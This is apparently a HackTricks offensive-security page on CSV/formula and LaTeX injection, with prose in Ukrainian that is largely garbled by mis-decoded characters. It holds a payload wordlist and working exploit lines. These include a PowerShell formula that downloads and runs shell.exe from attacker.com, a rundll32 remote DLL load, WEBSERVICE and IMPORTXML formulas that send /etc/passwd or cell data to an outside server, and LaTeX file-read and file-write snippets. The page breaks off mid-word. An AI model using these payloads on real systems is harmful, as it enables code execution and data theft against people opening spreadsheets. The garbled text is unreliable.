# Formula/CSV/Doc/LaTeX/GhostScript Injection
{% hint style="success" %}
Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** π¬ [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** π¦ [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %}
## Formula Injection
### Info
Π―ΠΊΡΠΎ Π²Π°Ρ **Π²Ρ
ΡΠ΄** Π²ΡΠ΄ΠΎΠ±ΡΠ°ΠΆΠ°ΡΡΡΡΡ Π²ΡΠ΅ΡΠ΅Π΄ΠΈΠ½Ρ **CSV ΡΠ°ΠΉΠ»ΡΠ²** (Π°Π±ΠΎ Π±ΡΠ΄Ρ-ΡΠΊΠΎΠ³ΠΎ ΡΠ½ΡΠΎΠ³ΠΎ ΡΠ°ΠΉΠ»Ρ, ΡΠΊΠΈΠΉ, ΠΉΠΌΠΎΠ²ΡΡΠ½ΠΎ, Π±ΡΠ΄Π΅ Π²ΡΠ΄ΠΊΡΠΈΡΠΈΠΉ Π² **Excel**), Π²ΠΈ, ΠΌΠΎΠΆΠ»ΠΈΠ²ΠΎ, Π·ΠΌΠΎΠΆΠ΅ΡΠ΅ Π²ΡΡΠ°Π²ΠΈΡΠΈ **ΡΠΎΡΠΌΡΠ»ΠΈ** Excel, ΡΠΊΡ Π±ΡΠ΄ΡΡΡ **Π²ΠΈΠΊΠΎΠ½Π°Π½Ρ**, ΠΊΠΎΠ»ΠΈ ΠΊΠΎΡΠΈΡΡΡΠ²Π°Ρ **Π²ΡΠ΄ΠΊΡΠΈΠ²Π°Ρ ΡΠ°ΠΉΠ»** Π°Π±ΠΎ ΠΊΠΎΠ»ΠΈ ΠΊΠΎΡΠΈΡΡΡΠ²Π°Ρ **Π½Π°ΡΠΈΡΠΊΠ°Ρ Π½Π° Π΄Π΅ΡΠΊΠ΅ ΠΏΠΎΡΠΈΠ»Π°Π½Π½Ρ** Π²ΡΠ΅ΡΠ΅Π΄ΠΈΠ½Ρ Π°ΡΠΊΡΡΠ° Excel.
{% hint style="danger" %}
Π‘ΡΠΎΠ³ΠΎΠ΄Π½Ρ **Excel ΠΏΠΎΠΏΠ΅ΡΠ΅Π΄ΠΈΡΡ** (Π΄Π΅ΠΊΡΠ»ΡΠΊΠ° ΡΠ°Π·ΡΠ²) **ΠΊΠΎΡΠΈΡΡΡΠ²Π°ΡΠ°, ΠΊΠΎΠ»ΠΈ ΡΠΎΡΡ Π·Π°Π²Π°Π½ΡΠ°ΠΆΡΡΡΡΡΡ Π·Π·ΠΎΠ²Π½Ρ Excel**, ΡΠΎΠ± Π·Π°ΠΏΠΎΠ±ΡΠ³ΡΠΈ ΠΉΠΎΠΌΡ Π²ΡΠ΄ Π·Π»ΠΎΡΠΈΠ½Π½ΠΈΡ
Π΄ΡΠΉ. Π’ΠΎΠΌΡ Π½Π΅ΠΎΠ±Ρ
ΡΠ΄Π½ΠΎ Π΄ΠΎΠΊΠ»Π°ΡΡΠΈ ΠΎΡΠΎΠ±Π»ΠΈΠ²ΠΈΡ
Π·ΡΡΠΈΠ»Ρ Ρ ΡΠΎΡΡΠ°Π»ΡΠ½ΠΎΠΌΡ ΡΠ½ΠΆΠ΅Π½Π΅ΡΡΡ Π΄Π»Ρ ΡΡΠ½Π°Π»ΡΠ½ΠΎΠ³ΠΎ payload.
{% endhint %}
### [Wordlist](https://github.com/payloadbox/csv-injection-payloads)
```
DDE ("cmd";"/C calc";"!A0")A0
@SUM(1+9)*cmd|' /C calc'!A0
=10+20+cmd|' /C calc'!A0
=cmd|' /C notepad'!'A1'
=cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0
=cmd|'/c rundll32.exe \\10.0.0.1\3\2\1.dll,0'!_xlbgnm.A1
```
### Hyperlink
**ΠΠ°ΡΡΡΠΏΠ½ΠΈΠΉ ΠΏΡΠΈΠΊΠ»Π°Π΄ Ρ Π΄ΡΠΆΠ΅ ΠΊΠΎΡΠΈΡΠ½ΠΈΠΌ Π΄Π»Ρ Π΅ΠΊΡΡΡΠ»ΡΡΡΠ°ΡΡΡ Π²ΠΌΡΡΡΡ Π· ΡΡΠ½Π°Π»ΡΠ½ΠΎΡ ΡΠ°Π±Π»ΠΈΡΡ Excel ΡΠ° Π΄Π»Ρ Π²ΠΈΠΊΠΎΠ½Π°Π½Π½Ρ Π·Π°ΠΏΠΈΡΡΠ² Π΄ΠΎ Π΄ΠΎΠ²ΡΠ»ΡΠ½ΠΈΡ
ΠΌΡΡΡΡ. ΠΠ»Π΅ ΡΠ΅ Π²ΠΈΠΌΠ°Π³Π°Ρ, ΡΠΎΠ± ΠΊΠΎΡΠΈΡΡΡΠ²Π°Ρ Π½Π°ΡΠΈΡΠ½ΡΠ² Π½Π° ΠΏΠΎΡΠΈΠ»Π°Π½Π½Ρ (Ρ ΠΏΡΠΈΠΉΠ½ΡΠ² ΠΏΠΎΠΏΠ΅ΡΠ΅Π΄ΠΆΠ΅Π½Π½Ρ).**
ΠΠ°ΡΡΡΠΏΠ½ΠΈΠΉ ΠΏΡΠΈΠΊΠ»Π°Π΄ Π±ΡΠ² Π²Π·ΡΡΠΈΠΉ Π· [https://payatu.com/csv-injection-basic-to-exploit](https://payatu.com/csv-injection-basic-to-exploit)
Π£ΡΠ²ΡΡΡ, ΡΠΎ Ρ ΡΠΈΡΡΠ΅ΠΌΡ ΡΠΏΡΠ°Π²Π»ΡΠ½Π½Ρ Π·Π°ΠΏΠΈΡΠ°ΠΌΠΈ ΡΡΡΠ΄Π΅Π½ΡΡΠ² ΡΡΠ°Π»Π°ΡΡ Π²ΠΈΡΡΠΊ Π±Π΅Π·ΠΏΠ΅ΠΊΠΈ, ΡΠΊΠΈΠΉ Π±ΡΠ² Π²ΠΈΠΊΠΎΡΠΈΡΡΠ°Π½ΠΈΠΉ ΡΠ΅ΡΠ΅Π· Π°ΡΠ°ΠΊΡ CSV injection. ΠΡΠ½ΠΎΠ²Π½Π° ΠΌΠ΅ΡΠ° Π·Π»ΠΎΠ²ΠΌΠΈΡΠ½ΠΈΠΊΠ° - ΡΠΊΠΎΠΌΠΏΡΠΎΠΌΠ΅ΡΡΠ²Π°ΡΠΈ ΡΠΈΡΡΠ΅ΠΌΡ, ΡΠΊΡ Π²ΠΈΠΊΠΎΡΠΈΡΡΠΎΠ²ΡΡΡΡ Π²ΡΠΈΡΠ΅Π»Ρ Π΄Π»Ρ ΡΠΏΡΠ°Π²Π»ΡΠ½Π½Ρ Π΄Π°Π½ΠΈΠΌΠΈ ΡΡΡΠ΄Π΅Π½ΡΡΠ². ΠΠ΅ΡΠΎΠ΄ ΠΏΠΎΠ»ΡΠ³Π°Ρ Π² ΡΠΎΠΌΡ, ΡΠΎ Π·Π»ΠΎΠ²ΠΌΠΈΡΠ½ΠΈΠΊ Π²Π²ΠΎΠ΄ΠΈΡΡ ΡΠΊΡΠ΄Π»ΠΈΠ²ΠΈΠΉ ΠΊΠΎΠ΄ Ρ Π΄ΠΎΠ΄Π°ΡΠΎΠΊ, Π·ΠΎΠΊΡΠ΅ΠΌΠ°, Π²Π²ΠΎΠ΄ΡΡΠΈ ΡΠΊΡΠ΄Π»ΠΈΠ²Ρ ΡΠΎΡΠΌΡΠ»ΠΈ Ρ ΠΏΠΎΠ»Ρ, ΠΏΡΠΈΠ·Π½Π°ΡΠ΅Π½Ρ Π΄Π»Ρ Π΄Π°Π½ΠΈΡ
ΡΡΡΠ΄Π΅Π½ΡΡΠ². ΠΡΠ°ΠΊΠ° ΡΠΎΠ·Π³ΠΎΡΡΠ°ΡΡΡΡΡ Π½Π°ΡΡΡΠΏΠ½ΠΈΠΌ ΡΠΈΠ½ΠΎΠΌ:
1. **ΠΠ²Π΅Π΄Π΅Π½Π½Ρ ΡΠΊΡΠ΄Π»ΠΈΠ²ΠΎΠ³ΠΎ ΠΊΠΎΠ΄Ρ:**
* ΠΠ»ΠΎΠ²ΠΌΠΈΡΠ½ΠΈΠΊ ΠΏΠΎΠ΄Π°Ρ ΡΠΎΡΠΌΡ Π΄Π°Π½ΠΈΡ
ΡΡΡΠ΄Π΅Π½ΡΠ°, Π°Π»Π΅ Π²ΠΊΠ»ΡΡΠ°Ρ ΡΠΎΡΠΌΡΠ»Ρ, ΡΠΊΠ° Π·Π°Π·Π²ΠΈΡΠ°ΠΉ Π²ΠΈΠΊΠΎΡΠΈΡΡΠΎΠ²ΡΡΡΡΡΡ Π² Π΅Π»Π΅ΠΊΡΡΠΎΠ½Π½ΠΈΡ
ΡΠ°Π±Π»ΠΈΡΡΡ
(Π½Π°ΠΏΡΠΈΠΊΠ»Π°Π΄, `=HYPERLINK("","Click here")`).
* Π¦Ρ ΡΠΎΡΠΌΡΠ»Π° ΠΏΡΠΈΠ·Π½Π°ΡΠ΅Π½Π° Π΄Π»Ρ ΡΡΠ²ΠΎΡΠ΅Π½Π½Ρ Π³ΡΠΏΠ΅ΡΠΏΠΎΡΠΈΠ»Π°Π½Π½Ρ, Π°Π»Π΅ Π²ΠΎΠ½Π° Π²ΠΊΠ°Π·ΡΡ Π½Π° ΡΠΊΡΠ΄Π»ΠΈΠ²ΠΈΠΉ ΡΠ΅ΡΠ²Π΅Ρ, ΠΊΠΎΠ½ΡΡΠΎΠ»ΡΠΎΠ²Π°Π½ΠΈΠΉ Π·Π»ΠΎΠ²ΠΌΠΈΡΠ½ΠΈΠΊΠΎΠΌ.
2. **ΠΠΊΡΠΏΠΎΡΡ ΡΠΊΠΎΠΌΠΏΡΠΎΠΌΠ΅ΡΠΎΠ²Π°Π½ΠΈΡ
Π΄Π°Π½ΠΈΡ
:**
* ΠΡΠΈΡΠ΅Π»Ρ, Π½Π΅ ΠΏΡΠ΄ΠΎΠ·ΡΡΡΡΠΈ ΠΏΡΠΎ ΠΊΠΎΠΌΠΏΡΠΎΠΌΠ΅ΡΠ°ΡΡΡ, Π²ΠΈΠΊΠΎΡΠΈΡΡΠΎΠ²ΡΡΡΡ ΡΡΠ½ΠΊΡΡΠΎΠ½Π°Π»ΡΠ½ΡΡΡΡ Π΄ΠΎΠ΄Π°ΡΠΊΠ° Π΄Π»Ρ Π΅ΠΊΡΠΏΠΎΡΡΡ Π΄Π°Π½ΠΈΡ
Ρ ΡΠ°ΠΉΠ» CSV.
* Π€Π°ΠΉΠ» CSV, ΠΊΠΎΠ»ΠΈ ΠΉΠΎΠ³ΠΎ Π²ΡΠ΄ΠΊΡΠΈΠ²Π°ΡΡΡ, Π²ΡΠ΅ ΡΠ΅ ΠΌΡΡΡΠΈΡΡ ΡΠΊΡΠ΄Π»ΠΈΠ²ΠΈΠΉ ΠΊΠΎΠ΄. Π¦Π΅ΠΉ ΠΊΠΎΠ΄ Π·'ΡΠ²Π»ΡΡΡΡΡΡ ΡΠΊ ΠΊΠ»ΡΠΊΠ°Π±Π΅Π»ΡΠ½Π΅ Π³ΡΠΏΠ΅ΡΠΏΠΎΡΠΈΠ»Π°Π½Π½Ρ Π² Π΅Π»Π΅ΠΊΡΡΠΎΠ½Π½ΡΠΉ ΡΠ°Π±Π»ΠΈΡΡ.
3. **ΠΠΊΡΠΈΠ²Π°ΡΡΡ Π°ΡΠ°ΠΊΠΈ:**
* ΠΡΠΈΡΠ΅Π»Ρ Π½Π°ΡΠΈΡΠΊΠ°Ρ Π½Π° Π³ΡΠΏΠ΅ΡΠΏΠΎΡΠΈΠ»Π°Π½Π½Ρ, Π²Π²Π°ΠΆΠ°ΡΡΠΈ ΠΉΠΎΠ³ΠΎ Π»Π΅Π³ΡΡΠΈΠΌΠ½ΠΎΡ ΡΠ°ΡΡΠΈΠ½ΠΎΡ Π΄Π°Π½ΠΈΡ
ΡΡΡΠ΄Π΅Π½ΡΠ°.
* ΠΡΡΠ»Ρ Π½Π°ΡΠΈΡΠΊΠ°Π½Π½Ρ ΡΡΡΠ»ΠΈΠ²Ρ Π΄Π°Π½Ρ (ΠΌΠΎΠΆΠ»ΠΈΠ²ΠΎ, Π²ΠΊΠ»ΡΡΠ°ΡΡΠΈ Π΄Π΅ΡΠ°Π»Ρ Π· Π΅Π»Π΅ΠΊΡΡΠΎΠ½Π½ΠΎΡ ΡΠ°Π±Π»ΠΈΡΡ Π°Π±ΠΎ ΠΊΠΎΠΌΠΏ'ΡΡΠ΅ΡΠ° Π²ΡΠΈΡΠ΅Π»Ρ) ΠΏΠ΅ΡΠ΅Π΄Π°ΡΡΡΡΡ Π½Π° ΡΠ΅ΡΠ²Π΅Ρ Π·Π»ΠΎΠ²ΠΌΠΈΡΠ½ΠΈΠΊΠ°.
4. **ΠΠΎΠ³ΡΠ²Π°Π½Π½Ρ Π΄Π°Π½ΠΈΡ
:**
* Π‘Π΅ΡΠ²Π΅Ρ Π·Π»ΠΎΠ²ΠΌΠΈΡΠ½ΠΈΠΊΠ° ΠΎΡΡΠΈΠΌΡΡ ΡΠ° ΡΠ΅ΡΡΡΡΡΡ ΡΡΡΠ»ΠΈΠ²Ρ Π΄Π°Π½Ρ, Π½Π°Π΄ΡΡΠ»Π°Π½Ρ Π· ΠΊΠΎΠΌΠΏ'ΡΡΠ΅ΡΠ° Π²ΡΠΈΡΠ΅Π»Ρ.
* ΠΠ»ΠΎΠ²ΠΌΠΈΡΠ½ΠΈΠΊ ΠΌΠΎΠΆΠ΅ ΠΏΠΎΡΡΠΌ Π²ΠΈΠΊΠΎΡΠΈΡΡΠΎΠ²ΡΠ²Π°ΡΠΈ ΡΡ Π΄Π°Π½Ρ Π΄Π»Ρ ΡΡΠ·Π½ΠΈΡ
ΡΠΊΡΠ΄Π»ΠΈΠ²ΠΈΡ
ΡΡΠ»Π΅ΠΉ, ΡΠ΅ Π±ΡΠ»ΡΡΠ΅ ΠΊΠΎΠΌΠΏΡΠΎΠΌΠ΅ΡΡΡΡΠΈ ΠΊΠΎΠ½ΡΡΠ΄Π΅Π½ΡΡΠΉΠ½ΡΡΡΡ Ρ Π±Π΅Π·ΠΏΠ΅ΠΊΡ ΡΡΡΠ΄Π΅Π½ΡΡΠ² ΡΠ° ΡΡΡΠ°Π½ΠΎΠ²ΠΈ.
### RCE
**ΠΠ΅ΡΠ΅Π²ΡΡΡΠ΅** [**ΠΎΡΠΈΠ³ΡΠ½Π°Π»ΡΠ½ΠΈΠΉ ΠΏΠΎΡΡ**](https://notsosecure.com/data-exfiltration-formula-injection-part1) **Π΄Π»Ρ ΠΎΡΡΠΈΠΌΠ°Π½Π½Ρ Π΄ΠΎΠ΄Π°ΡΠΊΠΎΠ²ΠΈΡ
Π΄Π΅ΡΠ°Π»Π΅ΠΉ.**
Π£ ΡΠΏΠ΅ΡΠΈΡΡΡΠ½ΠΈΡ
ΠΊΠΎΠ½ΡΡΠ³ΡΡΠ°ΡΡΡΡ
Π°Π±ΠΎ ΡΡΠ°ΡΡΡΠΈΡ
Π²Π΅ΡΡΡΡΡ
Excel ΡΡΠ½ΠΊΡΡΡ, Π·Π²Π°Π½ΠΈΠΉ ΠΠΈΠ½Π°ΠΌΡΡΠ½ΠΈΠΉ ΠΎΠ±ΠΌΡΠ½ Π΄Π°Π½ΠΈΠΌΠΈ (DDE), ΠΌΠΎΠΆΠ΅ Π±ΡΡΠΈ Π²ΠΈΠΊΠΎΡΠΈΡΡΠ°Π½Π° Π΄Π»Ρ Π²ΠΈΠΊΠΎΠ½Π°Π½Π½Ρ Π΄ΠΎΠ²ΡΠ»ΡΠ½ΠΈΡ
ΠΊΠΎΠΌΠ°Π½Π΄. Π©ΠΎΠ± ΡΠΊΠΎΡΠΈΡΡΠ°ΡΠΈΡΡ ΡΠΈΠΌ, Π½Π΅ΠΎΠ±Ρ
ΡΠ΄Π½ΠΎ Π°ΠΊΡΠΈΠ²ΡΠ²Π°ΡΠΈ Π½Π°ΡΡΡΠΏΠ½Ρ Π½Π°Π»Π°ΡΡΡΠ²Π°Π½Π½Ρ:
* ΠΠ΅ΡΠ΅ΠΉΠ΄ΡΡΡ Π΄ΠΎ Π€Π°ΠΉΠ» β ΠΠ°ΡΠ°ΠΌΠ΅ΡΡΠΈ β Π¦Π΅Π½ΡΡ ΡΠΏΡΠ°Π²Π»ΡΠ½Π½Ρ Π±Π΅Π·ΠΏΠ΅ΠΊΠΎΡ β ΠΠ°Π»Π°ΡΡΡΠ²Π°Π½Π½Ρ Π¦Π΅Π½ΡΡΡ ΡΠΏΡΠ°Π²Π»ΡΠ½Π½Ρ Π±Π΅Π·ΠΏΠ΅ΠΊΠΎΡ β ΠΠΎΠ²Π½ΡΡΠ½ΡΠΉ Π²ΠΌΡΡΡ, Ρ Π°ΠΊΡΠΈΠ²ΡΠΉΡΠ΅ **ΠΠ°ΠΏΡΡΠΊ ΡΠ΅ΡΠ²Π΅ΡΠ° Π΄ΠΈΠ½Π°ΠΌΡΡΠ½ΠΎΠ³ΠΎ ΠΎΠ±ΠΌΡΠ½Ρ Π΄Π°Π½ΠΈΠΌΠΈ**.
ΠΠΎΠ»ΠΈ Π΅Π»Π΅ΠΊΡΡΠΎΠ½Π½Π° ΡΠ°Π±Π»ΠΈΡΡ Π· ΡΠΊΡΠ΄Π»ΠΈΠ²ΠΈΠΌ ΠΊΠΎΠ΄ΠΎΠΌ Π²ΡΠ΄ΠΊΡΠΈΠ²Π°ΡΡΡΡΡ (Ρ ΡΠΊΡΠΎ ΠΊΠΎΡΠΈΡΡΡΠ²Π°Ρ ΠΏΡΠΈΠΉΠΌΠ°Ρ ΠΏΠΎΠΏΠ΅ΡΠ΅Π΄ΠΆΠ΅Π½Π½Ρ), ΠΊΠΎΠ΄ Π²ΠΈΠΊΠΎΠ½ΡΡΡΡΡΡ. ΠΠ°ΠΏΡΠΈΠΊΠ»Π°Π΄, ΡΠΎΠ± Π·Π°ΠΏΡΡΡΠΈΡΠΈ ΠΏΡΠΎΠ³ΡΠ°ΠΌΡ ΠΊΠ°Π»ΡΠΊΡΠ»ΡΡΠΎΡΠ°, ΠΊΠΎΠ΄ Π±ΡΠ΄Π΅:
```markdown
=cmd|' /C calc'!xxx
```
ΠΠΎΠ΄Π°ΡΠΊΠΎΠ²Ρ ΠΊΠΎΠΌΠ°Π½Π΄ΠΈ ΡΠ°ΠΊΠΎΠΆ ΠΌΠΎΠΆΡΡΡ Π±ΡΡΠΈ Π²ΠΈΠΊΠΎΠ½Π°Π½Ρ, ΡΠ°ΠΊΡ ΡΠΊ Π·Π°Π²Π°Π½ΡΠ°ΠΆΠ΅Π½Π½Ρ ΡΠ° Π²ΠΈΠΊΠΎΠ½Π°Π½Π½Ρ ΡΠ°ΠΉΠ»Ρ Π·Π° Π΄ΠΎΠΏΠΎΠΌΠΎΠ³ΠΎΡ PowerShell:
```bash
=cmd|' /C powershell Invoke-WebRequest "http://www.attacker.com/shell.exe" -OutFile "$env:Temp\shell.exe"; Start-Process "$env:Temp\shell.exe"'!A1
```
### Local File Inclusion (LFI) in LibreOffice Calc
LibreOffice Calc ΠΌΠΎΠΆΠ΅ Π±ΡΡΠΈ Π²ΠΈΠΊΠΎΡΠΈΡΡΠ°Π½ΠΈΠΉ Π΄Π»Ρ ΡΠΈΡΠ°Π½Π½Ρ Π»ΠΎΠΊΠ°Π»ΡΠ½ΠΈΡ
ΡΠ°ΠΉΠ»ΡΠ² ΡΠ° Π΅ΠΊΡΡΡΠ»ΡΡΡΠ°ΡΡΡ Π΄Π°Π½ΠΈΡ
. ΠΡΡ ΠΊΡΠ»ΡΠΊΠ° ΠΌΠ΅ΡΠΎΠ΄ΡΠ²:
* Π§ΠΈΡΠ°Π½Π½Ρ ΠΏΠ΅ΡΡΠΎΠ³ΠΎ ΡΡΠ΄ΠΊΠ° Π· Π»ΠΎΠΊΠ°Π»ΡΠ½ΠΎΠ³ΠΎ ΡΠ°ΠΉΠ»Ρ `/etc/passwd`: `='file:///etc/passwd'#$passwd.A1`
* ΠΠΊΡΡΡΠ»ΡΡΡΠ°ΡΡΡ ΠΏΡΠΎΡΠΈΡΠ°Π½ΠΈΡ
Π΄Π°Π½ΠΈΡ
Π½Π° ΡΠ΅ΡΠ²Π΅Ρ, ΠΊΠΎΠ½ΡΡΠΎΠ»ΡΠΎΠ²Π°Π½ΠΈΠΉ Π·Π»ΠΎΠ²ΠΌΠΈΡΠ½ΠΈΠΊΠΎΠΌ: `=WEBSERVICE(CONCATENATE("http://:8080/",('file:///etc/passwd'#$passwd.A1)))`
* ΠΠΊΡΡΡΠ»ΡΡΡΠ°ΡΡΡ Π±ΡΠ»ΡΡΠ΅ Π½ΡΠΆ ΠΎΠ΄Π½ΠΎΠ³ΠΎ ΡΡΠ΄ΠΊΠ°: `=WEBSERVICE(CONCATENATE("http://:8080/",('file:///etc/passwd'#$passwd.A1)&CHAR(36)&('file:///etc/passwd'#$passwd.A2)))`
* DNS Π΅ΠΊΡΡΡΠ»ΡΡΡΠ°ΡΡΡ (Π²ΡΠ΄ΠΏΡΠ°Π²ΠΊΠ° ΠΏΡΠΎΡΠΈΡΠ°Π½ΠΈΡ
Π΄Π°Π½ΠΈΡ
ΡΠΊ DNS Π·Π°ΠΏΠΈΡΠΈ Π½Π° ΡΠ΅ΡΠ²Π΅Ρ DNS, ΠΊΠΎΠ½ΡΡΠΎΠ»ΡΠΎΠ²Π°Π½ΠΈΠΉ Π·Π»ΠΎΠ²ΠΌΠΈΡΠ½ΠΈΠΊΠΎΠΌ): `=WEBSERVICE(CONCATENATE((SUBSTITUTE(MID((ENCODEURL('file:///etc/passwd'#$passwd.A19)),1,41),"%","-")),"."))`
### Google Sheets for Out-of-Band (OOB) Data Exfiltration
Google Sheets ΠΏΡΠΎΠΏΠΎΠ½ΡΡ ΡΡΠ½ΠΊΡΡΡ, ΡΠΊΡ ΠΌΠΎΠΆΡΡΡ Π±ΡΡΠΈ Π²ΠΈΠΊΠΎΡΠΈΡΡΠ°Π½Ρ Π΄Π»Ρ OOB Π΅ΠΊΡΡΡΠ»ΡΡΡΠ°ΡΡΡ Π΄Π°Π½ΠΈΡ
:
* **CONCATENATE**: ΠΠ±'ΡΠ΄Π½ΡΡ ΡΡΠ΄ΠΊΠΈ - `=CONCATENATE(A2:E2)`
* **IMPORTXML**: ΠΠΌΠΏΠΎΡΡΡΡ Π΄Π°Π½Ρ Π· ΡΡΡΡΠΊΡΡΡΠΎΠ²Π°Π½ΠΈΡ
ΡΠΈΠΏΡΠ² Π΄Π°Π½ΠΈΡ
- `=IMPORTXML(CONCAT("http:///123.txt?v=", CONCATENATE(A2:E2)), "//a/a10")`
* **IMPORTFEED**: ΠΠΌΠΏΠΎΡΡΡΡ RSS Π°Π±ΠΎ ATOM ΡΡΡΡΡΠΊΠΈ - `=IMPORTFEED(CONCAT("http:////123.txt?v=", CONCATENATE(A2:E2)))`
* **IMPORTHTML**: ΠΠΌΠΏΠΎΡΡΡΡ Π΄Π°Π½Ρ Π· HTML ΡΠ°Π±Π»ΠΈΡΡ Π°Π±ΠΎ ΡΠΏΠΈΡΠΊΡΠ² - `=IMPORTHTML (CONCAT("http:///123.txt?v=", CONCATENATE(A2:E2)),"table",1)`
* **IMPORTRANGE**: ΠΠΌΠΏΠΎΡΡΡΡ Π΄ΡΠ°ΠΏΠ°Π·ΠΎΠ½ ΠΊΠ»ΡΡΠΈΠ½ΠΎΠΊ Π· ΡΠ½ΡΠΎΡ ΡΠ°Π±Π»ΠΈΡΡ - `=IMPORTRANGE("https://docs.google.com/spreadsheets/d/[Sheet_Id]", "sheet1!A2:E2")`
* **IMAGE**: ΠΡΡΠ°Π²Π»ΡΡ Π·ΠΎΠ±ΡΠ°ΠΆΠ΅Π½Π½Ρ Π² ΠΊΠ»ΡΡΠΈΠ½ΠΊΡ - `=IMAGE("https:///images/srpr/logo3w.png")`
## LaTeX Injection
ΠΠ°Π·Π²ΠΈΡΠ°ΠΉ ΡΠ΅ΡΠ²Π΅ΡΠΈ, ΡΠΊΡ ΠΌΠΎΠΆΠ½Π° Π·Π½Π°ΠΉΡΠΈ Π² ΡΠ½ΡΠ΅ΡΠ½Π΅ΡΡ, ΡΠΎ **ΠΏΠ΅ΡΠ΅ΡΠ²ΠΎΡΡΡΡΡ LaTeX ΠΊΠΎΠ΄ Π½Π° PDF**, Π²ΠΈΠΊΠΎΡΠΈΡΡΠΎΠ²ΡΡΡΡ **`pdflatex`**.\
Π¦Ρ ΠΏΡΠΎΠ³ΡΠ°ΠΌΠ° Π²ΠΈΠΊΠΎΡΠΈΡΡΠΎΠ²ΡΡ 3 ΠΎΡΠ½ΠΎΠ²Π½Ρ Π°ΡΡΠΈΠ±ΡΡΠΈ Π΄Π»Ρ (Π½Π΅)Π΄ΠΎΠ·Π²ΠΎΠ»Ρ Π²ΠΈΠΊΠΎΠ½Π°Π½Π½Ρ ΠΊΠΎΠΌΠ°Π½Π΄:
* **`--no-shell-escape`**: **ΠΠΈΠΌΠΊΠ½ΡΡΠΈ** ΠΊΠΎΠ½ΡΡΡΡΠΊΡΡΡ `\write18{command}`, Π½Π°Π²ΡΡΡ ΡΠΊΡΠΎ Π²ΠΎΠ½Π° ΡΠ²ΡΠΌΠΊΠ½Π΅Π½Π° Ρ ΡΠ°ΠΉΠ»Ρ texmf.cnf.
* **`--shell-restricted`**: Π’Π΅ ΠΆ ΡΠ°ΠΌΠ΅, ΡΠΎ Ρ `--shell-escape`, Π°Π»Π΅ **ΠΎΠ±ΠΌΠ΅ΠΆΠ΅Π½ΠΎ** Π΄ΠΎ 'Π±Π΅Π·ΠΏΠ΅ΡΠ½ΠΎΠ³ΠΎ' Π½Π°Π±ΠΎΡΡ **ΠΏΠΎΠΏΠ΅ΡΠ΅Π΄Π½ΡΠΎ Π²ΠΈΠ·Π½Π°ΡΠ΅Π½ΠΈΡ
** \*\*ΠΊΠΎΠΌΠ°Π½Π΄ (\*\*ΠΠ° Ubuntu 16.04 ΡΠΏΠΈΡΠΎΠΊ Π·Π½Π°Ρ
ΠΎΠ΄ΠΈΡΡΡΡ Π² `/usr/share/texmf/web2c/texmf.cnf`).
* **`--shell-escape`**: **Π£Π²ΡΠΌΠΊΠ½ΡΡΠΈ** ΠΊΠΎΠ½ΡΡΡΡΠΊΡΡΡ `\write18{command}`. ΠΠΎΠΌΠ°Π½Π΄Π° ΠΌΠΎΠΆΠ΅ Π±ΡΡΠΈ Π±ΡΠ΄Ρ-ΡΠΊΠΎΡ ΠΊΠΎΠΌΠ°Π½Π΄ΠΎΡ ΠΎΠ±ΠΎΠ»ΠΎΠ½ΠΊΠΈ. Π¦Ρ ΠΊΠΎΠ½ΡΡΡΡΠΊΡΡΡ Π·Π°Π·Π²ΠΈΡΠ°ΠΉ Π·Π°Π±ΠΎΡΠΎΠ½Π΅Π½Π° Π· ΠΌΡΡΠΊΡΠ²Π°Π½Ρ Π±Π΅Π·ΠΏΠ΅ΠΊΠΈ.
ΠΠ΄Π½Π°ΠΊ Ρ ΠΉ ΡΠ½ΡΡ ΡΠΏΠΎΡΠΎΠ±ΠΈ Π²ΠΈΠΊΠΎΠ½Π°Π½Π½Ρ ΠΊΠΎΠΌΠ°Π½Π΄, ΡΠΎΠΌΡ, ΡΠΎΠ± ΡΠ½ΠΈΠΊΠ½ΡΡΠΈ RCE, Π΄ΡΠΆΠ΅ Π²Π°ΠΆΠ»ΠΈΠ²ΠΎ Π²ΠΈΠΊΠΎΡΠΈΡΡΠΎΠ²ΡΠ²Π°ΡΠΈ `--shell-restricted`.
### Read file
ΠΠ°ΠΌ ΠΌΠΎΠΆΠ΅ Π·Π½Π°Π΄ΠΎΠ±ΠΈΡΠΈΡΡ Π½Π°Π»Π°ΡΡΡΠ²Π°ΡΠΈ ΡΠ½'ΡΠΊΡΡΡ Π· ΠΎΠ±Π³ΠΎΡΡΠΊΠ°ΠΌΠΈ, ΡΠ°ΠΊΠΈΠΌΠΈ ΡΠΊ \[ Π°Π±ΠΎ $.
```bash
\input{/etc/passwd}
\include{password} # load .tex file
\lstinputlisting{/usr/share/texmf/web2c/texmf.cnf}
\usepackage{verbatim}
\verbatiminput{/etc/passwd}
```
#### ΠΡΠΎΡΠΈΡΠ°ΡΠΈ ΡΠ°ΠΉΠ» Π· ΠΎΠ΄Π½ΠΎΠ³ΠΎ ΡΡΠ΄ΠΊΠ°
```bash
\newread\file
\openin\file=/etc/issue
\read\file to\line
\text{\line}
\closein\file
```
#### Π§ΠΈΡΠ°Π½Π½Ρ ΡΠ°ΠΉΠ»Ρ Π· ΠΊΡΠ»ΡΠΊΠΎΠΌΠ° ΡΡΠ΄ΠΊΠ°ΠΌΠΈ
```bash
\newread\file
\openin\file=/etc/passwd
\loop\unless\ifeof\file
\read\file to\fileline
\text{\fileline}
\repeat
\closein\file
```
### ΠΠ°ΠΏΠΈΡΠ°ΡΠΈ ΡΠ°ΠΉΠ»
```bash
\newwrite\outfile
\openout\outfile=cmd.tex
\write\outfile{Hello-world}
\closeout\outfile
```
### ΠΠΈΠΊΠΎΠ½Π°Π½Π½Ρ ΠΊΠΎΠΌΠ°Π½Π΄
ΠΡ
